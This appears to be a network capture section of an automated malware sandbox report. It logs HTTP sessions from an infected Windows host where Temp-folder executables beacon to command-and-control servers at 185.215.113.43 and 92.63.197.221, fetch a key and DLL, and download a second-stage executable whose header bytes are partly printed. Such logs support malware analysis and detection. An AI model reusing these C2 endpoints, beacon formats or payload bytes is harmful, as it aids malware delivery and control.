Dec 2, 2024 11:22:21.355966091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61977 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:21.462189913 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:21.619851112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61977 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:21.796623945 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:21.954124928 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61977 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:22.142692089 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:22.300585985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61978 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:26.685714960 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:26.843358994 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61982 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49851	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:20.749202967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:21.071122885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.11.20	49861	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:20.974906921 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:21.133179903 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25723 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49868	34.107.221.82	80	9604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:21.235467911 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:21.394300938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25723 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	49874	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:21.516076088 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:21.674174070 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 01 Dec 2024 17:07:21 GMT Content-Type: text/plain Age: 62100 Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	49877	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:21.779685020 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:21.937638998 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25723 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:21.955966949 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:22.113583088 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25724 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:22.302458048 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:22.460599899 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25724 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:26.845673084 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:27.003427982 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25728 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49876	185.215.113.16	80	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:21.796184063 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 2, 2024 11:22:22.117705107 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:21 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Mon, 02 Dec 2024 09:40:02 GMT Connection: keep-alive ETag: "674d8072-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@dnxjhbas@*:@tbdzewvr d@.taggant@+"h@ [TRUNCATED]
Dec 2, 2024 11:22:22.117809057 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.117933989 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.117985964 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.118057966 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.118113041 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.118309021 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:22:22.118361950 CET	1289	IN	Data Raw: c3 2a 51 56 07 3b f4 d6 67 03 57 ab 0c 45 6b cf a8 d8 14 90 5a 72 01 4e 83 00 9f f0 58 e0 03 4d 1b 85 88 26 de 70 e0 83 6d 67 81 61 c3 cf 51 72 7d 74 49 65 eb 67 d5 c5 e4 d5 e1 41 28 e0 50 91 78 eb 31 05 67 6a 25 40 83 ea 85 4b ba a8 18 28 d2 69 Data Ascii: QV;gWEkZrNXM&pmgaQr}tIegA(Px1gj%@K(iXwnIjl(cUm81M0?#VK7L1nAUWBu-a-dOXoc5C]K@#U]<L1o9I.MkI[YXC4QOfJ1TX
Dec 2, 2024 11:22:22.118431091 CET	1289	IN	Data Raw: 39 71 52 12 29 a1 85 9c 76 ea a7 26 40 47 91 d4 24 42 98 bb 79 5a d8 27 27 2c 76 15 12 40 32 9c 60 fc 83 a3 26 e3 22 25 99 37 7a 03 66 41 af e3 f7 92 5d 58 c9 40 19 6c 60 f8 5d 2d 5a 42 f8 6d f8 45 cb 2c 21 4c 05 29 a6 f5 88 37 a4 a3 63 95 26 73 Data Ascii: 9qR)v&@G$ByZ'',v@2`&"%7zfA]X@l`]-ZBmE,!L)7c&sK\.(nIR},KcvcI[,5k}!4@w'%i$b.HAC5Cp}H3~cZ'cH#AY<XI,/wIPJM%MZ
Dec 2, 2024 11:22:22.118563890 CET	1289	IN	Data Raw: 20 a5 b2 5e 31 e2 41 ec 8a db 24 e7 25 d7 35 de 3a 82 16 2e 34 ce 22 fc 4c e2 31 69 c4 58 cc 66 55 cb 52 0b ef 4c 1d 49 09 d3 06 5b 33 42 02 fa b5 56 15 30 28 ae 4a d7 f5 76 04 9c 0c 53 e6 d4 42 94 77 1f e2 85 03 ea 68 b6 a5 1a 46 11 98 d7 f0 70 Data Ascii: ^1A$%5:.4"L1iXfURLI[3BV0(JvSBwhFp,%&\|^A@N_"j8Q9~Rfge%EEg6Jnh6OUB_wGY=F:u%^!PPW(ZE fY%z#gCHa!k1D?sO
Dec 2, 2024 11:22:22.440578938 CET	1289	IN	Data Raw: 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 e3 15 47 65 Data Ascii: GeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGeGe P8

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	49881	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:22.904988050 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:22:23.232170105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49883	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:25.171955109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:25.495069027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49886	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:27.331130981 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:22:27.658473969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49887	92.63.197.221	80	6336	C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:27.506143093 CET	411	OUT	GET /add?substr=mixtwo&s=three&sub= HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:22:27.917380095 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:27 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 Data Ascii: 1
Dec 2, 2024 11:22:27.935621023 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:22:28.301099062 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:28 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 2, 2024 11:22:28.314938068 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49888	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:29.606955051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:29.929435968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49890	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:31.757524967 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:22:32.085092068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49891	92.63.197.221	80	6336	C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:32.603810072 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache
